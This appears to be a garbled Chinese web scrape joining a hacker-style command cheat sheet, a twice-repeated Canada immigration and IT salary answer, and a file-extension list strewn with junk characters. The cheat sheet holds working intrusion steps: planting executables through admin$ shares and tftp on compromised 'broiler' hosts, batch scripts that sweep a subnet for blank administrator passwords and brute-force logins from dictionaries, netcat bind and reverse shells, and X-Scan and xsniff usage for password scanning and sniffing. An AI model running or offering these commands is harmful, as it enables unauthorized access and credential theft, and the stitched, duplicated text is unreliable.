del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)??针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cp 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cp 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqlmp --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0?%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2?%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
(二)系统外部命令(均需下载相关工具):
1、瑞士军刀:nc.exe
参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
2、扫锚工具:xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -a
人在日本申请去加拿大如何办理
更新....(技术移民属于“独立移民”的一种形式。简单地说,就是凭申请人的文化程度、职业技能、语言能力等方面的综合实力来申请移民。一般情况下,如果申请人有大学以上学历 ,具有一年以上相关工作经验且所从事的专业为加拿大所需求,就具备了以加拿大独立技术移民的基本条件。
· 及格分为67分;
· 申请人若有商务证书或第二学位可加分;
· 申请人精通英法双语,最高加分由原来20增加至24;
· 有关“工作经验”项的总分由原来的25减至21分;但仅有一到两年工作经验的申请人可获得比以前更多的分数;以吸引更多高学历但工作经验较少的申请人;
· 有关“年龄”项,21-49岁的申请人都将获得最高10分;
· 已获加拿大聘书者亦可获得较高分。
http://www.coibs.com/newversion/chinese/CoibsItemTechIntro.htm)
让你的朋友去加拿大驻日本大使馆申请就好了。加拿大移民局规定的原则上家庭团聚类移民和技术移民在加拿大境外的任何一个地方都可以递交申请。一般在哪里递交申请就应该在哪里面试
我不知道你的朋友在日本的工资多少,在加拿大做软件要视公司的情况。当然要视你的能力和职位了。以下供你参考
加拿大IT行业工资表
(年薪 单位:加元)
Administration
Title Starting Salary Potential Salary
Chief Information Officer 110,000 176,000
VP - Information Systems 99,000 160,000
Applications Development Manager 69,000 95,000
Project Manager 63,000 76,000
Developer 60,000 70,000
Application Architect 60,000 78,000
Project Leader 55,000 68,250
System Analyst 50,000 67,500
Bus. System Analyst 48,000 66,000
Programming Analyst 46,000 59,000
Programmer 35,000 45,000
Technical Services, Help Desk & Support
Manager 67,000 80,000
Analyst 48,000 65,000
System Programmer/Administrator 45,000 62,750
Technical Writer 35,000 48,000
Help Desk Tier3 34,000 45,750
Help Desk Tier2 29,500 36,750
Help Desk Tier1 25,000 30,000
Data/Database Administration
Database Manager 70,000 88,750
Data Warehouse Manager 69,000 90,000
Data Modeler 62,500 82,750
Data Architect 60,000 80,000
Data Warehouse Analyst 60,000 80,000
Database Administrator 60,000 82,750
Database Analyst 55,000 66,000
Telecommunications
Manager 60,000 73,000
Specialist 53,500 68,250
Software Development
Proct Manager 67,000 98,000
Q/A Specialist 50,000 60,000
Software Engineer 49,000 75,000
Installer/Developer 48,750 57,750
Pre & Post Sale Consultant 45,000 62,000
Proction Support 45,000 65,000
Configuration Manager 45,000 65,000
Client Server & Networking
Systems Architect 67,000 90,000
Network Architect 60,000 80,000
Network Engineer 55,000 70,000
Relational Database Analyst 55,000 75,000
UNIX Administrator 49,000 63,750
Systems/Application Developer 45,000 65,000
Network Administrator 39,750 62,500
Internet & Electronic Mail
Network Architect 55,000 77,750
Webmaster 50,000 65,000
Programmer/Analyst 50,000 66,000
Security Administrator 49,750 67,000
Programmer 45,000 55,000
Web Developer 43,000 58,000
Email Administrator 43,000 58,750
Analyst 40,000 56,000
Electronic Commerce Specialist 40,000 62,750
如果获得认证后工资会上涨的幅度
5-15% for Oracle database skills
10-15% for SQL Server
5% for C development skills
10-20% for C++
10-20% for Visual Basic
20% for MCSE
20% for CNE
15% for CNA
10-15% for Java development skills
另外由于每个城市的生活水准不一样,因此以下提供了生活指数供参考
Calgary 109.3
Charlottetown 90.8
Edmonton 100.0
Halifax 100.7
Montreal 94.2
Ottawa 117.2
Quebec 98.7
Regina 95.5
Saint John 90.0
St. John's 100.6
Saskatoon 81.1
Toronto 118.0
Vancouver 114.3
Victoria 101.0
Winnipeg 93.6
White Horse 133.9
Yellow Knife 187.6
计算方法如下: 假设你住在HALIFAX(city A),工资是CAN$50,000。现在你打算到TORONTO(city B),如果你打算维持原来的生活水准,那你必须挣: Current Salary X (CIty B / City A)= New Salary $50,000 x (118/100.7))=$58,589
参考资料是加拿大工资的站点
参考资料:http://lmi-imt.hrdc-drhc.gc.ca/standard.asp?ppid=43&lcode=E&prov=&gaid=&occ=&search_key=1&pre_sel_criteria=0
人在日本申请去加拿大如何办理
更新....(技术移民属于“独立移民”的一种形式。简单地说,就是凭申请人的文化程度、职业技能、语言能力等方面的综合实力来申请移民。一般情况下,如果申请人有大学以上学历 ,具有一年以上相关工作经验且所从事的专业为加拿大所需求,就具备了以加拿大独立技术移民的基本条件。
· 及格分为67分;
· 申请人若有商务证书或第二学位可加分;
· 申请人精通英法双语,最高加分由原来20增加至24;
· 有关“工作经验”项的总分由原来的25减至21分;但仅有一到两年工作经验的申请人可获得比以前更多的分数;以吸引更多高学历但工作经验较少的申请人;
· 有关“年龄”项,21-49岁的申请人都将获得最高10分;
· 已获加拿大聘书者亦可获得较高分。
http://www.coibs.com/newversion/chinese/CoibsItemTechIntro.htm)
让你的朋友去加拿大驻日本大使馆申请就好了。加拿大移民局规定的原则上家庭团聚类移民和技术移民在加拿大境外的任何一个地方都可以递交申请。一般在哪里递交申请就应该在哪里面试
我不知道你的朋友在日本的工资多少,在加拿大做软件要视公司的情况。当然要视你的能力和职位了。以下供你参考
加拿大IT行业工资表
(年薪 单位:加元)
Administration
Title Starting Salary Potential Salary
Chief Information Officer 110,000 176,000
VP - Information Systems 99,000 160,000
Applications Development Manager 69,000 95,000
Project Manager 63,000 76,000
Developer 60,000 70,000
Application Architect 60,000 78,000
Project Leader 55,000 68,250
System Analyst 50,000 67,500
Bus. System Analyst 48,000 66,000
Programming Analyst 46,000 59,000
Programmer 35,000 45,000
Technical Services, Help Desk & Support
Manager 67,000 80,000
Analyst 48,000 65,000
System Programmer/Administrator 45,000 62,750
Technical Writer 35,000 48,000
Help Desk Tier3 34,000 45,750
Help Desk Tier2 29,500 36,750
Help Desk Tier1 25,000 30,000
Data/Database Administration
Database Manager 70,000 88,750
Data Warehouse Manager 69,000 90,000
Data Modeler 62,500 82,750
Data Architect 60,000 80,000
Data Warehouse Analyst 60,000 80,000
Database Administrator 60,000 82,750
Database Analyst 55,000 66,000
Telecommunications
Manager 60,000 73,000
Specialist 53,500 68,250
Software Development
Proct Manager 67,000 98,000
Q/A Specialist 50,000 60,000
Software Engineer 49,000 75,000
Installer/Developer 48,750 57,750
Pre & Post Sale Consultant 45,000 62,000
Proction Support 45,000 65,000
Configuration Manager 45,000 65,000
Client Server & Networking
Systems Architect 67,000 90,000
Network Architect 60,000 80,000
Network Engineer 55,000 70,000
Relational Database Analyst 55,000 75,000
UNIX Administrator 49,000 63,750
Systems/Application Developer 45,000 65,000
Network Administrator 39,750 62,500
Internet & Electronic Mail
Network Architect 55,000 77,750
Webmaster 50,000 65,000
Programmer/Analyst 50,000 66,000
Security Administrator 49,750 67,000
Programmer 45,000 55,000
Web Developer 43,000 58,000
Email Administrator 43,000 58,750
Analyst 40,000 56,000
Electronic Commerce Specialist 40,000 62,750
如果获得认证后工资会上涨的幅度
5-15% for Oracle database skills
10-15% for SQL Server
5% for C development skills
10-20% for C++
10-20% for Visual Basic
20% for MCSE
20% for CNE
15% for CNA
10-15% for Java development skills
另外由于每个城市的生活水准不一样,因此以下提供了生活指数供参考
Calgary 109.3
Charlottetown 90.8
Edmonton 100.0
Halifax 100.7
Montreal 94.2
Ottawa 117.2
Quebec 98.7
Regina 95.5
Saint John 90.0
St. John's 100.6
Saskatoon 81.1
Toronto 118.0
Vancouver 114.3
Victoria 101.0
Winnipeg 93.6
White Horse 133.9
Yellow Knife 187.6
计算方法如下: 假设你住在HALIFAX(city A),工资是CAN$50,000。现在你打算到TORONTO(city B),如果你打算维持原来的生活水准,那你必须挣: Current Salary X (CIty B / City A)= New Salary $50,000 x (118/100.7))=$58,589
参考资料是加拿大工资的站点
参考资料:http://lmi-imt.hrdc-drhc.gc.ca/standard.asp?ppid=43&lcode=E&prov=&gaid=&occ=&search_key=1&pre_sel_criteria=0
提问:文件后缀名的意义.
在网上找的一些文件的后缀。供参考
ICA Citrix文件
ICB Targa位图文件
ICC Kodak打印机格式文件
ICL 图标库文件
ICM 图形颜色匹配配置文件
ICO Windows图标
IDB MSDev中间层文件
IDD MIDI设备定义
IDF MIDI设备定义(Windows 95需要的文件)
IDQ Internet数据查询文件
IDX Microsoft FoxPro相关数据库索引文件;Symantec Q&A相关数据库索引文件;Microsoft Outlook Express文件
IFF 交换格式文件;Amiga ILBM
IGES 初始图形交换说明文件
IGF 插入系统元文件
IIF QuickBooks for Windows交换文件
ILBM 位图图形文件
IMA WinImage磁盘映像文件
IMG GEM映像
IMZ WinImage压缩磁盘映像文件
INC 汇编语言或动态服务器包含文件
INF 信息文件
INI 初始化文件;MWave DSP Synth的"nwsynth.ini" GMS安装;Cravis Ultrasound bank安装 %>TSom
INP Oracle 3.0
INRS INRS远程通信声频
INS InstallShield安装脚本;X-Internet签字文件;Ensoniq EPS字簇设备;Cell/ⅡMAC/PC抽样设备
INT 中间代码,当一个源程序经过语法检查后编译产生一个可执行代码
IOF Findit文档
IQY Microsoft Internet查询文件
ISO 根据ISD 9660有关CD-ROM文件系统标准列出CD-ROM上的文件
ISP X-Internet签字文件
IST 数字跟踪设备文件
ISU InstallShield卸装脚本
IT 脉冲跟踪系统音乐模块(MOD)文件
ITI 脉冲跟踪系统设备
ITS 脉冲跟踪系统抽样,Internet文档位置
IV Open Inventor中使用的文件格式
IVD 超过20/20微观数据维数或变量等级文件
IVP 超过20/20的用户子集配置文件
IVT 超过20/20表或集合数据文件
IVX 超过20/20微数据目录文件
IW Idlewild屏幕保护程序
IWC Install Watch文档
J62 Ricoh照相机格式
JAR Java档案文件(一种用于applet和相关文件的压缩文件)
JAVA Java源文件
JBF Paint Shop Pro图像浏览文件
JFF,JFIF,JIF JPEG文件
JMP SAS的JMPDiscovery表格统计文件
JN1 Epic MegaGames的Jill of the Jungle数据文件
JPE,JPEG,JPG JPEG图形文件
JS javascript源文件
JSP HTML网页,其中包含有对一个Java servlet的参考
JTF JPEG位图文件 )"lf
K25 Kurzweil 2500抽样文件
KAR 卡拉OK MIDI文件(文本+MIDI)
KDC Kodak光增强器
KEY DataCAD图标工具条文件
KFX KoFak Group 4图像文件
KIZ Kodak数字明信片文件
KKW RoboHELP帮助工程索引设计器中与主题无关的K开头的所有关键字
KMP Korg Trinity KeyMap文件
KQP Konica照相机本地文件
KR1 Kurzweil 2000抽样(多软驱)文件
KRZ Kurzweil 2000抽样文件
KSF Korg Trinity抽样文件
KYE Kye游戏数据
LAB Visual dBASE标签文件
LBM Deluxe Paint位图文件
LBT,LBX Microsoft FoxPro标签文件
LDB Microsoft Access加锁文件
LDL Corel Paradox分发库
LEG Legacy文档
LES Logitech娱乐系统游戏配置文件(与REC文件一样)
LFT 3D Studio(DOS)放样文件
LGO Paintbrush(Microsoft画图应用程序)的徽标文件
LHA LZH更换文件后缀
LIB 库文件
LIN DataCAD线型文件
LIS 结构化查询报告(SQR)程序产生的输出文件
LLX Laplink交换代理
LNK Windows快捷方式文件
LOG [非法语句]志文件
LPD Helix Nut和Bolt文件 >
LRC Intel可视电话文件 *Smf
LSL Corel Paradox保存的库文件 V
LSP AutoLISP、CommonLISP和其他LISP语言文件 FS83
LST 列表文件 o7
LU ThoughtWing库单元文件 k
LVL Parallax Software的 Miner Descent/D2 Level扩展p"MT:
LWLO Lightwave分层对象文件 >2nwls
LWOB Lightwave对象文件 lpk
LWP Lotus WordPro 96/97文件 r
LWSC Lightwave视景文件 e
LYR DataCAD层文件 =;F|d-
LZH LH ARC压缩档案 }
LZS Skyroads数据文件 W}YC
M1V MPEG相关文件(MIME"mpeg"类型) [Sy
